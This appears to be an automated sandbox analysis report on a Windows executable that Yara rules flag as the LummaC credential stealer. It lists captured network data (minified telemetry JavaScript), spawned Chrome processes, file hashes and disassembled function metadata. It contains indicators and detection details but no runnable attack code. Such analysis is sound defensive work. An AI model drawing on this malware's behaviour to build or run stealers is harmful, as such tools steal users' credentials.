2024-12-31 08:51:22 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-12-31 08:51:22 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-12-31 08:51:22 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-12-31 08:51:22 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-12-31 08:51:22 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-12-31 08:51:22 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Target ID:	0
Start time:	03:50:42
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\2RxMkSAgZ8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2RxMkSAgZ8.exe"
Imagebase:	0xf00000
File size:	1'872'384 bytes
MD5 hash:	9206302F53CA9294D3A4BD17C0EF0ADC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1457853778.00000000008EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1452466442.00000000008E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1447007025.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:51:09
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:51:10
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1916,i,16584393808517630229,663544007946421581,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:51:17
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2RxMkSAgZ8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:51:18
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1916,i,8609925068922302053,18242554948102769659,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 05FDE9E0 Relevance: 1.3, APIs: 1, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05FDF21C

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 68a4b6dd63685693f68433a590b18baf9ba2f090f780522b2458c279715f56b9
Instruction ID: f2b482377d72c02a5eb12da259705e1c3d0f577bcc9bb67898ae42bf6483b24a
Opcode Fuzzy Hash: 68a4b6dd63685693f68433a590b18baf9ba2f090f780522b2458c279715f56b9
Instruction Fuzzy Hash: 8F0190739096188FD7006F785C045BABBDEEF05270F19062AED63C7780E9694C10C6A1

Function 05FDEE8B Relevance: 1.3, APIs: 1, Instructions: 38
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05FDF21C

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 83b4b94fe6007014e9a777a8b3a324369d703ff889e9ea609066443b870c6303
Instruction ID: 4886b23b063916be49412f12acafa41d0189b6fdc07326b6a3c98742406a9097
Opcode Fuzzy Hash: 83b4b94fe6007014e9a777a8b3a324369d703ff889e9ea609066443b870c6303
Instruction Fuzzy Hash: D5F0F9338086149FD7005F7888056BDBBE9EF05320F29061ADDA1977C1E9B51C208799

Function 05FDE7FC Relevance: 1.3, APIs: 1, Instructions: 18
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05FDF44A

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9e1ff3ae645e2160c188dc35c0d62d7c88572c91a90348b01cc61250e65cda82
Instruction ID: 24bba7d07d4c6c8a7fff714a6ff6ee7053c30f1db707928348f6b6710ba9bde8
Opcode Fuzzy Hash: 9e1ff3ae645e2160c188dc35c0d62d7c88572c91a90348b01cc61250e65cda82
Instruction Fuzzy Hash: CCE017B6149315DFEB016F24D885BFFBBEAEF0A210F040569EE8286A40D6750C10CAA7

Non-executed Functions

Function 05FEE559 Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|, xrefs: 05FEE638
:', xrefs: 05FEEA89

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID:
String ID: :'$|
API String ID: 0-524082461
Opcode ID: 8c6ce4c1fa0a1000e382958152d6d75e6e7af2c4b27dea45133aea4a7a90123d
Instruction ID: 8048c50563ebd750a2f2e2e8ca1654ef32d25b4c044c7ea6678ba5871c727469
Opcode Fuzzy Hash: 8c6ce4c1fa0a1000e382958152d6d75e6e7af2c4b27dea45133aea4a7a90123d
Instruction Fuzzy Hash: 29F1D0B3F1022147F7484939DC99366B693ABD4320F2F823D9A8CA77C5D97E9C0A4785

Function 05FF12D8 Relevance: 2.9, Strings: 2, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

15,_, xrefs: 05FF162A
E_Ii, xrefs: 05FF16A5

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID:
String ID: 15,_$E_Ii
API String ID: 0-219484442
Opcode ID: c61125d58d65821846caf63cc51449ecfa0a503aed7b924eb7ca3224af6fd9e4
Instruction ID: cbb0289269286baad72c0ca121bef5d66c02ec85b6b279652e6d5e16fd64d80f
Opcode Fuzzy Hash: c61125d58d65821846caf63cc51449ecfa0a503aed7b924eb7ca3224af6fd9e4
Instruction Fuzzy Hash: FAD1EFF3F156154BF3444D29DC883627693DBD4320F2F82389A889B7C9E97E9D0A8785

Function 0600372D Relevance: 2.8, Strings: 2, Instructions: 327
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,\A, xrefs: 06003732
,\A, xrefs: 0600372D

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID:
String ID: ,\A$,\A
API String ID: 0-2069095851
Opcode ID: 1d418771497d38be42ae4f3d0b126e7a2a633fbfa20a8ba9a08903ee5540eb6a
Instruction ID: e65714eab189c7c9154aa3011df3fa561b522719575c94a158864746b5bacd4a
Opcode Fuzzy Hash: 1d418771497d38be42ae4f3d0b126e7a2a633fbfa20a8ba9a08903ee5540eb6a
Instruction Fuzzy Hash: A8B1AFB7F106254BF3584979CD683A265839BD0324F2F82388E8DAB7C5E87E5D0A57C4

Function 05FFB8E1 Relevance: 1.8, Strings: 1, Instructions: 529
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

v{lk, xrefs: 05FFBA79

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID:
String ID: v{lk
API String ID: 0-614218646
Opcode ID: 31273c52e3851be4af53bef52e1f938cd640cced48008784cbae43e8039a5db4
Instruction ID: b2306f8ffb9906672b68522f7eabb4cab25f4da210fea5246cae32736b0f4c97
Opcode Fuzzy Hash: 31273c52e3851be4af53bef52e1f938cd640cced48008784cbae43e8039a5db4
Instruction Fuzzy Hash: 9B02ADB3F046208BF3104969DC883A6B692DBD4321F2F8639DE98A77C5D97E9C0587C5

Function 05FF301C Relevance: 1.8, Strings: 1, Instructions: 510
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ODy|, xrefs: 05FF34D7

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID:
String ID: ODy|
API String ID: 0-854478275
Opcode ID: cb16ec0086f2e2ad27b22b24719390f75e2d7683c2a662a242a32c5989a6fec6
Instruction ID: db2cdba206de84785378e00f3be090ea852db06cdc4428a59037157d73d7b057
Opcode Fuzzy Hash: cb16ec0086f2e2ad27b22b24719390f75e2d7683c2a662a242a32c5989a6fec6
Instruction Fuzzy Hash: FFF1EEF3F146144BF3484A29DC993667683EBD4320F2B423D9B99973C5E97EA8068385

Function 06006535 Relevance: 1.7, Strings: 1, Instructions: 407
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H<&, xrefs: 060069F1

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID:
String ID: H<&
API String ID: 0-2054676045
Opcode ID: c3109649477bd7f5248aa1bb5f4c0c05c3605c990f67cf9b7eb29d81ac66705d
Instruction ID: b9d976ded2c60461781e58d81458bdc03afd568b25f5b7770400a2f2b09363b0
Opcode Fuzzy Hash: c3109649477bd7f5248aa1bb5f4c0c05c3605c990f67cf9b7eb29d81ac66705d
Instruction Fuzzy Hash: 7ED1BDB3F106208BF3444D28DC993A67696EBD5320F2F823C9A98AB7C4DD7E5C058785

Function 06007843 Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,9Rc, xrefs: 06007B55

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

